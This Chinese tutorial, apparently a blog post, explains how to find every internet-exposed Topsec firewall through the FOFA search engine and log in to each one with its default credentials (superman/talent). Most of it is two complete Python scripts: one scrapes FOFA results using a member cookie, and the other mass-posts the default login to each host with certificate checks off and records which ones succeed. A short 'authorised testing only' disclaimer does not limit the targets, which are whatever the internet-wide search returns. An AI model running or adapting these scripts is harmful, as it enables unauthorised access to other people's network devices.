教你如何快速拿下全网弱口令
字数 907 2025-08-06 01:23:31
全网弱口令批量检测技术详解
前言
本文详细讲解如何通过FOFA搜索引擎爬取全网特定系统服务器,并批量检测默认用户名密码的技术方法。以天融信防火墙为例,介绍完整的自动化检测流程。
前期准备
1. FOFA会员账号
- 需要FOFA普通会员及以上权限(非会员只能查看5页内容)
- 登录后获取当前账户的cookie值(用于后续爬取链接)
2. 目标系统特征识别
- 识别目标系统的独有特征URL,如天融信防火墙的"/cgi/maincgi.cgi"
- 通过FOFA搜索特征URL,获取qbase64参数(示例:
Ii9jZ2kvbWFpbmNnaS5jZ2ki)
3. 默认凭证收集
- 收集目标系统的默认用户名密码组合(如天融信防火墙:superman/talent)
- 通过抓包分析登录请求参数格式
脚本实现
FOFA链接爬取脚本(Python 2)
import requests
from lxml import etree
import re
import time
cookie = "替换为你的FOFA_COOKIE"
qbase64 = "替换为你的qbase64参数"
def spider():
header = {
"Connection": "keep-alive",
"Cookie": "_fofapro_ars_session=" + cookie,
}
print("spider website is :https://fofa.so/result?qbase64=" + qbase64)
html = requests.get(url="https://fofa.so/result?qbase64=" + qbase64, headers=header).text
pagenum = re.findall('>(\d*)</a> <a class="next_page" rel="next"', html)
print("have page: " + pagenum[0])
stop_page = raw_input("please input stop page: \n")
doc = open("url.txt", "a+")
for i in range(1, int(pagenum[0])):
print("Now write " + str(i) + " page")
pageurl = requests.get('https://fofa.so/result?page=' + str(i) + '&qbase64=' + qbase64, headers=header)
tree = etree.HTML(pageurl.text)
urllist = tree.xpath('/html/body/div[@id="result"]/div[@class="main-result clearfix padTop90"]/div[@class="result-right-list"]/div[@class="result-right-list-view"]/div[@class="right-list-view-item clearfix"]/div[@class="fl box-sizing"]/div[@class="re-domain"]/a[@target="_blank"]/@href')
for j in urllist:
doc.write(j + "\n")
if i == int(stop_page):
break
time.sleep(10)
doc.close()
print("OK,Spider is End .")
def main():
spider()
if __name__ == '__main__':
main()
使用说明:
- 替换代码中的cookie和qbase64参数
- 运行脚本并输入要爬取的页数
- 结果保存在同目录下的url.txt文件中
批量检测脚本(Python 2)
import requests
import time
# 禁用安全请求警告(解决SSL报错问题)
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# 登录请求参数
payload = {
"username":"superman",
"passwd":"talent",
"loginSubmitIpt":''
}
header = {'Connection': 'close'}
f = open("url.txt", "r")
r = open("url_x.txt","w") # 保存存在弱口令的URL
lines = f.readlines()
i=0
x=0
for line in lines:
try:
response = requests.post(
line+"/cgi/maincgi.cgi?Url=Index",
data = payload,
headers = header,
timeout=5,
verify=False
)
except:
continue # 忽略异常请求
else:
i=i+1
print(str(i))
if "maincgi.cgi?Url=Main" in (response.text.replace(u'\xa9', u'')):
r.write(line + "\n")
x=x+1
print(str(i)+"is being detected")
print("A vulnerability link has been detected" + str(x))
f.close()
r.close()
检测逻辑说明:
- 读取url.txt中的目标URL
- 逐个发送登录请求尝试默认凭证
- 通过响应内容判断是否登录成功(检测"maincgi.cgi?Url=Main"字符串)
- 将存在弱口令的URL保存到url_x.txt
技术要点
-
FOFA爬取技巧:
- 使用会员cookie保持会话
- 通过XPath精准提取目标URL
- 设置适当延迟(10秒/页)避免被封
-
批量检测优化:
- 使用try-except处理异常请求
- 禁用SSL验证警告
- 实时输出检测进度
-
登录验证方法:
- 分析成功登录后的跳转URL特征
- 通过响应内容判断是否登录成功
注意事项
- 法律合规:仅用于授权测试,禁止非法使用
- 频率控制:适当调整请求间隔,避免对目标系统造成影响
- 错误处理:脚本已加入异常处理,但可能需要根据实际情况调整
- 结果验证:建议人工抽样验证检测结果准确性
扩展应用
本方法可应用于其他系统的弱口令检测,只需修改:
- FOFA搜索特征(qbase64参数)
- 默认凭证字典
- 登录请求参数和成功标识
通过此方法可构建自动化弱口令检测系统,提高安全测试效率。